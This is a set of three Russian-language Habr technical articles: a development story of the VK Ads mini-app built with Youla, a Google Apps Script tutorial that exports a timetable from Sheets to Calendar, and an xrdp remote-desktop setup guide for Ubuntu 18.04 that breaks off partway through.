ВКонтакте и Юлу объединяет то, что оба приложения находятся внутри холдинга VK, поэтому разумным шагом было направить сотрудничество обеих команд на создание объединенного сервиса. Естественно, разработка базовой функциональности Юлы на мобильных клиентах ВКонтакте — дело небыстрое. А нам, как обычно бывает, хотелось сделать MVP сервиса как можно скорее. К счастью, на базе ВКонтакте существует платформа миниаппов, которая позволяет встраивать их внутрь ВКонтакте. Именно её мы решили использовать для решения нашей амбициозной задачи.
### Платформа миниаппов ВКонтакте
Сначала вкратце расскажу, что из себя представляет платформа миниаппов ВКонтакте.
Сам миниапп может быть встроен в сайт ВКонтакте (мобильную или десктопную версию) через iframe, а в приложение ВКонтакте на Android/iOS — через webview. На базе миниаппов уже созданы тысячи приложений. Это делает ВКонтакте супераппом. Любой разработчик может написать своё приложение, разместить заявку и попасть в список приложений. Внешние тестировщики проверяют приложения перед размещением в списке, что позволяет запускать их с минимальным количеством багов.
Команда разработки ВКонтакте создала библиотеку интерфейсов [vkui](https://vkcom.github.io/VKUI/). Она представляет из себя набор React-компонентов, с помощью которых можно быстро создавать веб-приложения с таким же стилем, как у ВКонтакте. Библиотека использует в качестве стилей цветовые токены на основе `css-custom-properties`. Это позволяет отображать корректные цвета в тёмной и светлой темах (тёмная тема в последнее время достаточно популярна). Также библиотека меняет стили компонентов в зависимости от платформы: Android/iOS/Web.
Для взаимодействия с API ВКонтакте и мобильными клиентами используется прослойка vk-bridge. Например, можно отправить события получения ФИО пользователя, данных о текущей геолокации, версии официального приложения, и даже сохранить пользовательские данные в key/value-хранилище (vk-storage). Для получения некоторых пользовательских данных приложение ВКонтакте запрашивает у пользователя специальное разрешение. О самой библиотеке можно подробнее узнать [тут](https://vk.com/dev/vkbridge).
### Обкатка технологий
Сервис Юлы состоит из нескольких вертикалей, в каждой из которых пользователь может найти объявления определённой категории:
Одна из вертикалей, над которой велась активная работа в прошлом году, это вертикаль услуг. Кроме её разработки внутри Юлы была поставлена задача обкатать технологию миниаппа, чтобы использовать внутри ВКонтакте вертикаль Юлы в виде миниаппа услуг. Это позволило разработчикам ознакомиться с технологиями и подготовить фундамент для создания Объявлений ВКонтакте. Параллельно разработке велись переговоры о более тесной интеграции с ВКонтакте и прорабатывались задачи.
Сам миниапп услуг включал в себя основные экраны Юлы: ленту объявлений, карточку товара и экран создания объявления.
Одним из самых сложных этапов реализации миниаппа услуг была попытка внедрения оплаты. Работа над этой функциональностью заслуживает отдельной статьи, но я расскажу, в чём была основная сложность. Помимо миниаппа, фронтенд-команда Юлы занимается разработкой веб-сайта youla.ru. Мы пытались переиспользовать функциональность оплат из веб-Юлы, где это было реализовано через Деньги Mail.ru. Но из-за того, что весь процесс происходит внутри iframe, а ссылка на оплату формируется через redirect-url, возврат в миниапп после оплаты срабатывал некорректно. В итоге мы отказались от этой функциональности. В дальнейшем при внедрении оплаты в Объявления ВКонтакте мы использовали уже VK Pay взамен Деньги Mail.ru.
В Юле есть два основных канала связи пользователей с друг другом: звонок по номеру телефона и переписка через чат. Если функциональность звонков реализовать несложно, то написать с нуля чаты, или даже перенести эту функциональность из другого проекта, — весьма нетривиальная задача. К счастью, у ВКонтакте есть мессенджер, в котором мы настроили интеграцию через собственного чат-бота. Он позволял дублировать сообщения в чатах Юлы и ВКонтакте, и покупатель мог внутри ВКонтакте переписываться с продавцом, который пользовался приложением или веб-сайтом Юлы.
Для разработки веб-версии Юлы мы используем монорепозиторий, который собирается через Lerna. Он состоит из пакетов, отвечающих за бизнес-логику сайта, переиспользуемые UI-компоненты, утилиты, сервисы и дизайн-систему. Для работы со стилями мы используем Styled-components, с их помощью реализована наша дизайн-система.
В качестве основы для приложения миниаппа услуг мы взяли React CreateApp, в котором в дальнейшем сделали eject, потому что нам не хватало базовой функциональности. Вся визуальная составляющая была реализована на vkui, что позволило довольно быстро реализовать экраны приложения. В них мы поменяли цвета, чтобы они соответствовали дизайн-системе Юлы, для этого подключили npm-пакет со стилями и использовали некоторые UI-компоненты.
Вся разработка миниаппа услуг заняла два месяца и ещё один на отлаживание процесса развёртывания, релизов и мелкие доработки.
### Разработка миниаппа Объявления ВК
Первым этапом разработки миниаппа Объявления ВКонтакте **(далее – ВКО)** мы реализовывали функциональность создания объявлений из ВКонтакте. В группах-барахолках ВКонтакте появилась кнопка «Разместить объявление», которая создавала товар на Юле и публиковала его на стене группы. При публикации в группе появлялся сниппет с фото, названием и ценой товара, ссылка в этом сниппете вела в Юлу.
Поскольку у нас уже была реализована форма создания объявления в миниаппе услуг, было решено использовать его кодовую базу. Сама форма создания отличалась возможностью размещать товар в любой категории (не только заявки на услуги) и тем, что форма подачи в ВКО отображалась в цветах ВКонтакте.
**Сравнение формы подачи в миниаппе услуг и ВКО:**
Как говорилось выше, для написания стилей мы используем styled-components. В миниаппе услуг мы задавали тему через конфигурацию темы Юлы:
```
div {
color: ${({theme}) => theme.palette.white}
}
```
В ВКО для того, чтобы задать тему, используются css-custom-properties, которые меняются в зависимости от темы ВКонтакте (темная или светлая):
```
div {
color: var(--accent);
}
```
Кроме того, некоторые цвета, как и компоненты, по-разному выглядят в мобильной и десктопной версиях.
Следующим этапом разработки миниаппа была реализация карточки товара, чтобы пользователи, которые переходят по сниппетам, не выходили из ВКонтакте на сайт или приложение Юлы, а оставались внутри ВКонтакте:
Функциональность карточки товара мы также переиспользовали из миниаппа услуг. Карточка работала аналогично карточкам товара в приложении Юлы с поддержкой основных сценариев. Сравнение реализации карточки товара в миниаппе услуг и ВКО:
Третьим этапом была разработка главной страницы ВКО, попасть на которую можно было из раздела сервисов ВКонтакте. Эту функциональность пришлось делать практически с нуля, потому что реализация фильтрации объявлений в услугах и ВКО сильно различалась. В миниаппе услуг обращение к ленте делалось через REST, а в ВКО — через GraphQL. Реализация ленты товаров через GraphQL достаточно удобная, потому что позволяет отображать в ленте произвольные элементы, отличные от товаров: рекламные карточки, различные горизонтальные растяжки, премиум-карточки платных клиентов Юлы.
Лента Юлы позволяет показывать товары, которые находятся недалеко от пользователя, в каждой карточке указано расстояние в километрах. Если пользователь разрешил приложению ВКонтакте доступ к своему местоположению, мы показываем товары на определённой удалённости от точки, в которой находится пользователь. Если же он запретил доступ к координатам, то мы берем их из профиля пользователя в Юле или предлагаем ему указать своё местоположение.
Фильтры позволяют пользователю искать товары по конкретной категории/подкатегории и местоположению. Кроме того, для каждой категории мы используем дополнительные атрибуты фильтрации. Например, для мобильных телефонов это операционная система, модель, диагональ экрана.
Суммарно разработка первых трёх фаз ВКО заняла три месяца. Полноценный запуск раздела состоялся 1 декабря 2020 года.
### Объявления ВКонтакте сейчас
Сегодня любой пользователь ВКонтакте может воспользоваться нашим сервисом не выходя из приложения ВКонтакте. А каждая группа может подключить у себя раздел Объявления для увеличения охвата аудитории. Помимо мобильной версии, недавно состоялся запуск десктопной версии Объявлений. Она не реализована на технологии миниаппов, а нативно встроено в сайт ВКонтакте. Это позволяет пользоваться нашим сервисом на всех платформах. | https://habr.com/ru/post/567956/ | null | ru | null |
# Google Apps Script: переносим расписание из таблицы в календарь
Для кого предназначена данная статья
------------------------------------
* Для людей, кто активно пользуется сервисом Google Calendar
* Для людей, у которых есть файлы таблиц с расписаниями, и которые хотели бы работать с ними более продуктивно — всегда иметь ближайшие мероприятия перед глазами, получать уведомления с напоминаниями на почту или push-уведомления
* Для людей, которым хочется быстро познакомиться с Google Apps Script, понять, что это такое, и где его можно применить
Что понадобится
---------------
* Google-аккаунт
* Базовые знания JavaScript
1. Создаем таблицу в Google Sheets
----------------------------------
Это можно сделать, перейдя на страницу своего Google Drive.
*Рис. 1. Правый клик мышью по рабочему пространству открывает контекстное меню, где нужно выбрать "Google Таблицы" — "Создать пустую таблицу"*
В созданную таблицу нужно скопировать имеющееся у Вас расписание, в моем случае это расписание занятий в университете. Важно, чтобы в таблицы были следующие поля:
* Название мероприятия
* Дата мероприятия
* Время начала
* Время конца или длительность *(впрочем, это необязательно — в итоге вы сможете установить какое-нибудь общее дефолтное значение длительности мероприятия, например 1 час, или вовсе сделать мероприятие, длящимся целый день)*
Вся остальная информация, в моем случае — преподаватель, тип занятия (лекция, семинар и т.д.), может быть отправлена в описание мероприятия.
*Рис. 2. Таблица с расписанием*
2. Создаем скрипт
-----------------
### 2.1. Переходим в редактор скриптов
Нужно создать скрипт, который будет связан с только что созданной таблицей, будет иметь доступ к данным в ней и переносить их в календарь.
*Рис. 3. Скрипт создается, через меню "Инструменты", в котором нужно выбрать пункт "Редактор скриптов"*
Скрипты разрабатываются на языке JavaScript. Только что созданный скрипт содержит одну пустую функцию **myFunction**. Писать код можно в ней, но я предпочту дать ей более осмысленное имя **SetCalendar**.
*Рис. 4. Созданный скрипт, дадим функции осмысленное имя — SetCalendar*
Над редактором кода имеется выпадающий список, который позволяет выбрать основную функцию, которая будет являться точкой входа в запущенный скрипт. В нашем случае следуем выбрать функцию SetCalendar.
### 2.2. Разбираемся с отладкой
Часто для отладки скриптов на JavaScript мы выводим различные значения в консоль:
```
console.log("Hello, world!")
```
В Google Apps Script логировать значения следует немного иначе. Вместо объекта **console** следует использовать глобальный объект **Logger**:
```
function SetCalendar() {
Logger.log("Hello, world!");
}
```
После запуска скрипта, все выведенные в лог значения можно посмотреть из меню "Вид", выбрав пункт "Журналы" или же по сочетанию клавиш **Ctrl+Enter**:
*Рис. 5. Модальное окно с логами последнего запуска скрипта*
### 2.3. Извлекаем информацию о мероприятиях из таблицы
Сразу небольшой кусок кода
```
function SetCalendar() {
//Индексы первой строки и первого столбца в таблице с данными
const rowStart = 1;
const colStart = 1;
//Количество строк и столбцов в расписании
const colsCount = 5;
const rowsCount = 67;
//Получаем объект страницы
var sheet = SpreadsheetApp.getActiveSheet();
//Извлекаем данные таблицы в указанных диапазонах
var range = sheet.getRange(rowStart, colStart, rowsCount, colsCount)
var data = range.getDisplayValues();
}
```
Рассмотрим строку 11.
Глобальный объект **SpreadsheetApp** — глобальный объект, содержащий методы, представляющие собой интерфейс для взаимодействия скрипта с приложением Google Sheets.
Первое, что нужно сделать — получить объект, представляющий активную (открытую в данный момент) страницу документа. Для этого необходимо вызвать метод **getActiveSheet**.
Метод возвращает объект sheet.
Далее, нужно получить объект range — он представляет собой диапазон ячеек таблицы, из которых мы будем извлекать данные. Это делается путем вызова метода **getRange**. В качестве параметров передаются:
* Индекс первой строки диапазона
* Индекс первого столбца диапазона
* Количество извлекаемых строк
* Количество извлекаемых столбцов
> **Обратите внимание!** Индексация строк и столбцов начинается с 1.
Строка 15: мы получаем из выбранного выше диапазона ячеек непосредственно данные путем вызова метода **getDisplayValues**.
> **Обратите внимание!** Метод **getDisplayValues()** отдает данные в том виде, в каком он отображается в ячейках таблицы. Например, если ячейка содержит дату, то указанный метод вернет не какое-то внутреннее представление записанной в ячейку даты, а ее представление, которое видит пользователь в ячейке.
### 2.4. Извлекаем данные из ячеек
Прежде, чем работать с ячейками, удобно было бы дать номерам столбцов имена, дабы избежать ошибок при указании номеров столбцов с интересующими нас данными. Создадим для этого несколько констант:
```
//Константы-имена для индексов столбцов
const dateCol = 0;
const timeCol = 1;
const typeCol = 2;
const nameCol = 3;
const teacherCol = 4;
```
Вы можете посмотреть какие столбцы стоят в таблице под данными номерами на *рисунке 2.*
Объект **data** представляет набор ячеек с данными, которые были получены. Теперь нужно получить данные из отдельных ячеек.
```
for (var i in data)
{
let row = data[i];
let classDate = row[dateCol];
let classPeriod = row[timeCol];
let classType = row[typeCol];
let className = row[nameCol];
let classTeacher = row[teacherCol];
Logger.log("[DATE] " + classDate);
Logger.log("[PERIOD] " + classPeriod);
Logger.log("[TYPE] " + classType);
Logger.log("[NAME] " + className);
Logger.log("[TEACHER] " + classTeacher);
Logger.log("============================================");
}
```
При использовании цикла *for* с переменной **i** по объекту **data**, переменная **i** на каждой итерации получает значение — целое число, которое является индексом очередной извлеченной из таблицы строки.
Строка 3: обращение к объекту **data** по индексу **i** возвращает объект **row** — текущую строку таблицы.
Строки 5-9: мы обращаемся к строке по индексу — номеру столбца с интересующими нас данными. Например, **row[dateCol]** — мы из текущей строки получаем дату мероприятия из столбца с индексом **dateCol**.
В строках 5-9 мы получили из текущей строки данные о дате занятия, времени начала и окончания, типе занятия, названии дисциплины и имени преподавателя.
В конце мы выводим полученные данные в лог, чтобы убедиться, что извлекли данные из таблицы правильно.
### 2.5. Работа с объединенными ячейками
В результате выполнения предыдущих шагов, мы получаем следующий скрипт
```
function SetCalendar() {
//Индексы первой строки и первого столбца в таблице с данными
const rowStart = 1;
const colStart = 1;
//Количество строк и столбцов в расписании
const colsCount = 5;
const rowsCount = 8;
//Получаем объект страницы
var sheet = SpreadsheetApp.getActiveSheet();
//Извлекаем данные таблицы в указанных диапазонах
var range = sheet.getRange(rowStart, colStart, rowsCount, colsCount)
var data = range.getDisplayValues();
//Константы-имена для индексов столбцов
const dateCol = 0;
const timeCol = 1;
const typeCol = 2;
const nameCol = 3;
const teacherCol = 4;
for (var i in data)
{
let row = data[i];
let classDate = row[dateCol];
let classPeriod = row[timeCol];
let classType = row[typeCol];
let className = row[nameCol];
let classTeacher = row[teacherCol];
Logger.log("[DATE] " + classDate);
Logger.log("[PERIOD] " + classPeriod);
Logger.log("[TYPE] " + classType);
Logger.log("[NAME] " + className);
Logger.log("[TEACHER] " + classTeacher);
Logger.log("============================================");
}
}
```
Выполним скрипт и посмотрим, что было выведено в лог:
*Рис. 6. Не все даты были правильно извлечены из таблицы*
Из лога видно, что из первой строки данные были извлечены, а в следующих строках, которые описывают мероприятия того же дня, поле с датой оказалось пустым. Почему так происходит?
Еще раз взглянем на таблицу:
*Рис. 7. Даты вписаны в объединенные ячейки*
При создании таблицы, дата вписывалась **только в первую** строчку расписания на конкретную дату. После чего, все ячейки из столбца, относящиеся к одной дате были объединены.
Когда мы двигаемся по строкам таблицы, мы получаем дату не из всех ячеек, которые были объединены в одну, а **только из первой**.
Немного изменим алгоритм, чтобы корректно извлекать дату из объединенных ячеек:
```
let savedDate = "";
for (var i in data)
{
let row = data[i];
let classDate = row[dateCol];
//...
if (classDate.trim() == "")
{
classDate = savedDate;
}
else
{
savedDate = classDate;
}
Logger.log("[DATE] " + classDate);
//...
Logger.log("============================================");
}
```
Мы вводим дополнительную переменную **savedDate** — в ней храним последнюю прочитанную дату.
При чтении даты из текущей строки. Если прочитанная дата — пустая строка, то берем дату из переменной **savedDate**, иначе обновляем значение переменной **savedDate**.
### 2.6. Парсим дату и время из строк
Как было отмечено выше — если мы используем метод **getDisplayValues()**, то значения из таблицы мы получаем в виде строк и ровно так, как они отображаются в ячейках, никаких внутренних представлений данных мы не получаем.
Как будет показано далее, чтобы создать событие в Google Calendar, нужно предварительно создать два объекта класса **Date**: дату-время начала события, дату-время окончания события.
В рассматриваемой таблице (см. *рисунок 2*), мы получаем дату занятия в формате ***dd.mm.yyyy***, и временной промежуток, когда занятие длится, в формате ***hh:mm-hh.mm***.
Из этих двух строк, нам нужно получить два объекта **Date**. Такая задача не касается Google Apps Script, с этим по идее должен справиться хоть сколько-нибудь опытный программист. Поэтому я не буду подробно останавливаться на алгоритме, а лишь приведу код двух JS-функций, которые парсят дату время и возвращают дату-время начала и дату-время окончания занятия.
Поехали:
```
function extractTime(timeStr, dateStr)
{
let sepIdx = timeStr.indexOf(":");
let hoursStr = timeStr.substring(0, sepIdx);
let minsStr = timeStr.substring(sepIdx + 1);
sepIdx = dateStr.indexOf(".");
let dayStr = dateStr.substring(0, sepIdx);
let monthStr = dateStr.substring(sepIdx + 1, sepIdx + 3);
sepIdx = dateStr.indexOf(".", sepIdx + 1);
let yearStr = dateStr.substring(sepIdx + 1);
let t = new Date();
t.setHours(parseInt(hoursStr), parseInt(minsStr));
t.setYear(parseInt(yearStr));
t.setMonth(parseInt(monthStr) - 1, parseInt(dayStr));
return t;
}
function extractPeriod(periodStr, dateStr)
{
let sepIdx = periodStr.indexOf("-");
let fromStr = periodStr.substring(0, sepIdx);
let toStr = periodStr.substring(sepIdx + 1);
fromStr = fromStr.trim();
toStr = toStr.trim();
return {
from: extractTime(fromStr, dateStr),
to: extractTime(toStr, dateStr)
}
}
```
Чтобы получить дату-время начала и окончания занятия, нужно вызывать функцию **extractPeriod** и передать две строки — дата и временной период, в который длится занятие.
### 2.7. Создание события в Google Calendar
Сразу небольшой листинг, пояснения будут дальше
```
let classTimeInfo = extractPeriod(classPeriod, classDate);
let classStartTime = classTimeInfo.from;
let classEndTime = classTimeInfo.to;
let info = "Преподаватель: " + classTeacher + "\nТип занятия: " + classType;
var event = (CalendarApp.getCalendarsByName("Учеба"))[0].createEvent
(
className,
classStartTime,
classEndTime,
{
description: info
}
);
Utilities.sleep(50);
```
Строки 1-6: получаем дату-время начала и окончания занятия, а также склеиваем в одну строку всю дополнительную информацию, которая будет записана в описание мероприятия в календаре.
Далее, к интерфейсу сервиса Google Calendar мы обращаемся через методы глобального объекта **CalendarApp**.
Посредством метода **getCalendarsByName** мы получаем массив календарей с указанным именем.
Получить объект-календарь можно также посредством метода **getDefaultCalendar**, тогда событие будет создано в основном календаре. Однако, я советую зайти в веб-версию Google Calendar и создать новый календарь, в который вы будете экспортировать мероприятия. Во-первых, вы получаете возможность скрывать события этого календаря, выделять события отдельным цветом.
Но, что более важно, в случае, если вы при написании скрипта где-то ошиблись, и экспортировали события как-то неправильно, то вместо того, чтобы удалять все многочисленные неправильные события вручную, вы можете просто удалить календарь, после чего создать новый, пустой, и попробовать запустить новый, исправленный скрипт.
В данном случае я создал календарь "Учеба", и собираюсь создавать события в нем. Поэтому в коде вызывается метод **getCalendarsByName** и в качестве параметра передается срока **"Учеба"**.
Метод возвращает массив календарей с указанным названием, поэтому нужно взять из этого массива один элемент, в нашем случае нулевой:
```
(CalendarApp.getCalendarsByName("Учеба"))[0]
```
У объекта-календаря необходимо вызывать метод **createEvent**. В качестве параметров нужно передать следующее:
* Название мероприятия (*в данном случае название дисциплины*)
* Объект Data — дата-время начала мероприятия
* Объект Data — дата-время окончания мероприятия
* Необязательный параметр — объект с дополнительными опциями (*в данном случае я заполняю одно поле — **description** — это описание мероприятия*)
Последняя строка в скрипте — задержка на 50 миллисекунд. Во время разработки скрипта и отладки я обнаружил, что иногда при выполнении кода выбрасывается исключение, суть которого в том, что Google Calendar не нравятся частые обращения к сервису, и в описании исключения рекомендуется вставить задержку между вызовами методов API календаря.
3. Итоговый скрипт
------------------
Ниже приведен полный скрипт, который получился
> **Обратите внимание!** Данный скрипт заточен под структуру таблицы, которая приведена на рисунке 2. Если вы хотите использовать этот скрипт для себя как есть, убедитесь, что ваша таблица с расписанием имеет такую же структуру, или же измените скрипт под свою таблицу.
```
function extractTime(timeStr, dateStr)
{
let sepIdx = timeStr.indexOf(":");
let hoursStr = timeStr.substring(0, sepIdx);
let minsStr = timeStr.substring(sepIdx + 1);
sepIdx = dateStr.indexOf(".");
let dayStr = dateStr.substring(0, sepIdx);
let monthStr = dateStr.substring(sepIdx + 1, sepIdx + 3);
sepIdx = dateStr.indexOf(".", sepIdx + 1);
let yearStr = dateStr.substring(sepIdx + 1);
let t = new Date();
t.setHours(parseInt(hoursStr), parseInt(minsStr));
t.setYear(parseInt(yearStr));
t.setMonth(parseInt(monthStr) - 1, parseInt(dayStr));
return t;
}
function extractPeriod(periodStr, dateStr)
{
let sepIdx = periodStr.indexOf("-");
let fromStr = periodStr.substring(0, sepIdx);
let toStr = periodStr.substring(sepIdx + 1);
fromStr = fromStr.trim();
toStr = toStr.trim();
return {
from: extractTime(fromStr, dateStr),
to: extractTime(toStr, dateStr)
}
}
function SetCalendar() {
//Индексы первой строки и первого столбца в таблице с данными
const rowStart = 1;
const colStart = 1;
//Количество строк и столбцов в расписании
const colsCount = 5;
const rowsCount = 8;
//Получаем объект страницы
var sheet = SpreadsheetApp.getActiveSheet();
//Извлекаем данные таблицы в указанных диапазонах
var range = sheet.getRange(rowStart, colStart, rowsCount, colsCount)
var data = range.getDisplayValues();
//Константы-имена для индексов столбцов
const dateCol = 0;
const timeCol = 1;
const typeCol = 2;
const nameCol = 3;
const teacherCol = 4;
let savedDate = "";
for (var i in data)
{
let row = data[i];
let classDate = row[dateCol];
let classPeriod = row[timeCol];
let classType = row[typeCol];
let className = row[nameCol];
let classTeacher = row[teacherCol];
if (classDate.trim() == "")
{
classDate = savedDate;
}
else
{
savedDate = classDate;
}
let classTimeInfo = extractPeriod(classPeriod, classDate);
let classStartTime = classTimeInfo.from;
let classEndTime = classTimeInfo.to;
let info = "Преподаватель: " + classTeacher + "\nТип занятия: " + classType;
var event = (CalendarApp.getCalendarsByName("Учеба"))[0].createEvent
(
className,
classStartTime,
classEndTime,
{
description: info
}
);
Utilities.sleep(50);
}
}
```
4. Немножко скриншотов
----------------------
Что можно улучшить
------------------
* Некоторые значения в коде я просто захардкодил — например, индексы начала таблицы, размеры таблицы, количество строк (количество мероприятий). Теоретически, можно покопаться в API Google Sheets для Google Apps Script и придумать, как выцеплять нужные координаты ячеек автоматически;
* Я никогда плотно не изучал JavaScript, могут быть различные стилистические и прочие недостатки в коде, возможно тот же парсинг даты-времени можно сделать красивее и элегантнее.
Открыт к конструктивной критике, буду рад, если укажете на недостатки, посоветуете что можно улучшить, а что изменить в статье.
Что читать дальше
-----------------
* [Apps Script Overview](https://developers.google.com/apps-script/overview)
* [Apps Script: Calendar](https://developers.google.com/apps-script/reference/calendar)
* [Apps Script: Spreadsheet](https://developers.google.com/apps-script/reference/spreadsheet) | https://habr.com/ru/post/529332/ | null | ru | null |
# VPS на Linux с графическим интерфейсом: запускаем сервер RDP на Ubuntu 18.04
[](https://habr.com/ru/company/ruvds/blog/512878/)
В [предыдущей статье](https://habr.com/ru/company/ruvds/blog/510860/) мы разобрали запуск сервера VNC на виртуальной машине любого типа. У этого варианта масса недостатков, основным из которых являются высокие требования к пропускной способности каналов передачи данных. Сегодня мы попробуем подключиться к графическому рабочему столу на Linux по RDP (Remote Desktop Protocol). Система VNC основана на передаче массивов пикселей по протоколу RFB (Remote Framebuffer), а RDP позволяет отправлять более сложные графические примитивы и высокоуровневые команды. Обычно он используется для организации служб удаленных рабочих столов в Windows, но серверы для Linux также доступны.
Оглавление:
-----------
[Установка графического окружения](#section1)
[Русификация сервера и установка ПО](#section2)
[Установка и настройка сервера RDP](#section3)
[Настройка межсетевого экрана](#section4)
[Подключение к серверу RDP](#section5)
[Менеджер сессий и сеансы пользователей](#section6)
[Переключение раскладок клавиатуры](#section7)
### Установка графического окружения
Мы возьмем виртуальную машину с Ubuntu Server 18.04 LTS с двумя вычислительными ядрами, четырьмя гигабайтами оперативной памяти и жестким диском (HDD) на двадцать гигабайт. Более слабая конфигурация плохо подходит для графического десктопа, хотя это зависит от решаемых задач. Не забывайте использовать промокод Habrahabr10 для получения скидки в 10% при заказе.
Установка окружения рабочего стола со всеми зависимостями выполняется следующей командой:
```
sudo apt-get install xfce4 xfce4-goodies xorg dbus-x11 x11-xserver-utils
```
Как и в предыдущем случае, мы выбрали XFCE из-за относительно невысоких требований к вычислительным ресурсам.
### Русификация сервера и установка ПО
Часто виртуальные машины разворачиваются только с английской локализацией. На десктопе может потребоваться русская, настроить которую несложно. Сначала установим переводы для системных программ:
```
sudo apt-get install language-pack-ru
```
Настроим локализацию:
```
sudo update-locale LANG=ru_RU.UTF-8
```
Того же эффекта можно достичь, отредактировав вручную файл /etc/default/locale.
Для локализации GNOME и KDE в репозитории есть пакеты language-pack-gnome-ru и language-pack-kde-ru — они понадобятся, если вы будете использовать программы из этих сред рабочего стола. В XFCE переводы устанавливаются вместе с приложениями. Дальше можно инсталлировать словари:
```
# Словари для проверки орфографии
sudo apt-get install hunspell hunspell-ru
# Тезаурус для LibreOffice
sudo apt-get install mythes-ru
# Англо-русский словарь в формате DICT
sudo apt-get install mueller7-dict
```
Кроме того, инсталляция переводов может потребоваться для некоторых прикладных программ:
```
# Браузер Firefox
sudo apt-get install firefox firefox-locale-ru
# Почтовый клиент Thunderbird
sudo apt-get install thunderbird thunderbird-locale-ru
# Офисный пакет LibreOffice
sudo apt-get install libreoffice libreoffice-l10n-ru libreoffice-help-ru
```
На этом подготовка окружения рабочего стола завершена, осталось настроить сервер RDP.
### Установка и настройка сервера RDP
В репозиториях Ubuntu есть распространяемый свободно сервер Xrdp, которым мы и воспользуемся:
```
sudo apt-get install xrdp
```
Если все прошло нормально, сервер должен запуститься автоматически:
```
sudo systemctl status xrdp
```
Сервер Xrdp запускается с правами пользователя xrdp и по умолчанию берет cертификат /etc/ssl/private/ssl-cert-snakeoil.key, который можно заменить собственным. Для доступа на чтение файла нужно добавить пользователя в группу ssl-cert:
```
sudo adduser xrdp ssl-cert
```
Настройки по умолчанию можно найти в файле /etc/default/xrdp, а все прочие конфигурационные файлы сервера лежат в каталоге /etc/xrdp. Основные параметры находятся в файле xrdp.ini, который можно не менять. Конфиг хорошо документирован, к тому же в комплекте имеется соответствующие manpages:
```
man xrdp.ini
man xrdp
```
Осталось только отредактировать скрипт /etc/xrdp/startwm.sh, который исполняется при инициализации пользовательской сессии. Предварительно сделаем резервную копию скрипта из дистрибутива:
```
sudo mv /etc/xrdp/startwm.sh /etc/xrdp/startwm.b
sudo nano /etc/xrdp/startwm.sh
```
Чтобы запустить окружение рабочего стола XFCE, потребуется сценарий примерно такого содержания:
```
#!/bin/sh
if [ -r /etc/default/locale ]; then
. /etc/default/locale
export LANG LANGUAGE
fi
exec /usr/bin/startxfce4
```
Обратите внимание: в скриптах лучше прописывать полный путь к исполняемым файлам — это хорошая привычка. Сделаем скрипт исполняемым и на этом настройку сервера Xrdp можно считать законченной:
```
sudo chmod 755 /etc/xrdp/startwm.sh
```
Перезапускаем сервер:
```
sudo systemctl restart xrdp
```
### Настройка межсетевого экрана
По умолчанию Xrdp слушает TCP-порт 3389 на всех интерфейсах. В зависимости от конфигурации виртуального сервера может потребоваться настройка межсетевого экрана Netfilter. В Linux это обычно делается с помощью утилиты iptables, но в Ubuntu лучше использовать ufw. Если IP-адрес клиента известен, настройка осуществляется следующей командой:
```
sudo ufw allow from IP_Address to any port 3389
```
Разрешить соединения с любого IP можно так:
```
sudo ufw allow 3389
```
Протокол RDP поддерживает шифрование, но открывать доступ к серверу Xrdp из сетей общего пользования — плохая идея. Если у клиента нет фиксированного IP, для повышения уровня безопасности сервер должен слушать только localhost. Доступ к нему лучше настроить через туннель SSH, который безопасно перенаправит трафик с клиентского компьютера. Аналогичный подход мы [использовали в предыдущей статье](https://habr.com/ru/company/ruvds/blog/510860/#section4) для сервера VNC.
### Подключение к серверу RDP
Для работы с окружением рабочего стола лучше создать отдельного непривилегированного пользователя:
```
sudo adduser rdpuser
```
Добавим пользователя в группу sudo, чтобы он мог решать связанные с администрированием задачи. Если такой потребности нет, этот шаг можно пропустить:
```
sudo gpasswd -a rdpuser sudo
```
Подключиться к серверу можно с помощью любого клиента RDP, включая встроенный клиент службы удаленных рабочих столов Windows. Если Xrdp слушает внешний интерфейс, никаких дополнительных телодвижений не понадобится. Достаточно указать в настройках соединения IP-адрес VPS, имя пользователя и пароль. После подключения мы увидим примерно такую картину:
После первичной настройки окружения рабочего стола мы получим полноценный десктоп. Как видите, он потребляет не так много ресурсов, хотя дальше все будет зависеть от используемых приложений.
Если сервер Xrdp слушает только localhost, на клиентском компьютере трафик придется упаковать в туннель SSH (на VPS должен быть запущен sshd). Под Windows можно использовать графический клиент SSH (например, PuTTY), а в UNIX-системах нужна утилита ssh:
```
ssh -L 3389:127.0.0.1:3389 -C -N -l rdpuser RDP_server_ip
```
После инициализации туннеля клиент RDP будет подключаться уже не к удаленному серверу, а к локальному хосту.
С мобильными устройствами сложнее: способные поднять туннель клиенты SSH придется покупать, к тому же в iOS и iPadOS фоновая работа сторонних приложений затруднена из-за слишком хорошей оптимизации энергопотребления. На iPhone и iPad поднять туннель в отдельном приложении не получится — потребуется приложение-комбайн, которое само умеет устанавливать соединение RDP через SSH. Такое, например, как [Remoter Pro](https://apps.apple.com/ru/app/remoter-pro-vnc-ssh-rdp/id519768191).
### Менеджер сессий и сеансы пользователей
Возможность многопользовательской работы реализована непосредственно в сервере Xrdp и не требует дополнительной настройки. После запуска сервиса через systemd один процесс работает в режиме демона, слушает порт 3389 и взаимодействует через localhost с менеджером сессий.
```
ps aux |grep xrdp
```
```
sudo netstat -ap |grep xrdp
```
Менеджер сеансов пользователям обычно не виден, потому что заданные в настройках клиента логин и пароль передаются ему автоматически. Если этого не произошло или при аутентификации возникла ошибка, вместо рабочего стола появится интерактивное окно для входа в систему.
Автоматический запуск менеджера сессий прописан в файле /etc/default/xrdp, а конфигурация хранится в /etc/xrdp/sesman.ini. По умолчанию выглядит она примерно так:
```
[Globals]
ListenAddress=127.0.0.1
ListenPort=3350
EnableUserWindowManager=true
UserWindowManager=startwm.sh
DefaultWindowManager=startwm.sh
[Security]
AllowRootLogin=true
MaxLoginRetry=4
TerminalServerUsers=tsusers
TerminalServerAdmins=tsadmins
; When AlwaysGroupCheck=false access will be permitted
; if the group TerminalServerUsers is not defined.
AlwaysGroupCheck=false
[Sessions]
```
Здесь можно ничего не менять, стоит только запретить вход с правами root (AllowRootLogin=false). Для каждого авторизовавшегося в системе пользователя запускается отдельный процесс xrdp: если отсоединиться не завершив сеанс, пользовательские процессы по умолчанию продолжат работать, а к сеансу можно будет подключиться заново. Настройки можно изменить в файле /etc/xrdp/sesman.ini (секция [Sessions]).
### Переключение раскладок клавиатуры
С двухсторонним буфером обмена проблем обычно не возникает, а вот с русской раскладкой клавиатуры придется немного пошаманить (русская локаль должна быть уже [установлена](https://docs.google.com/document/d/1ZrICFciz6BreK77y6tiRPVfPhlQL7sQeIdiwVnWK6X8/edit?pli=1#heading=h.92ahdl1s5jtc)). Отредактируем клавиатурные настройки сервера Xrdp:
```
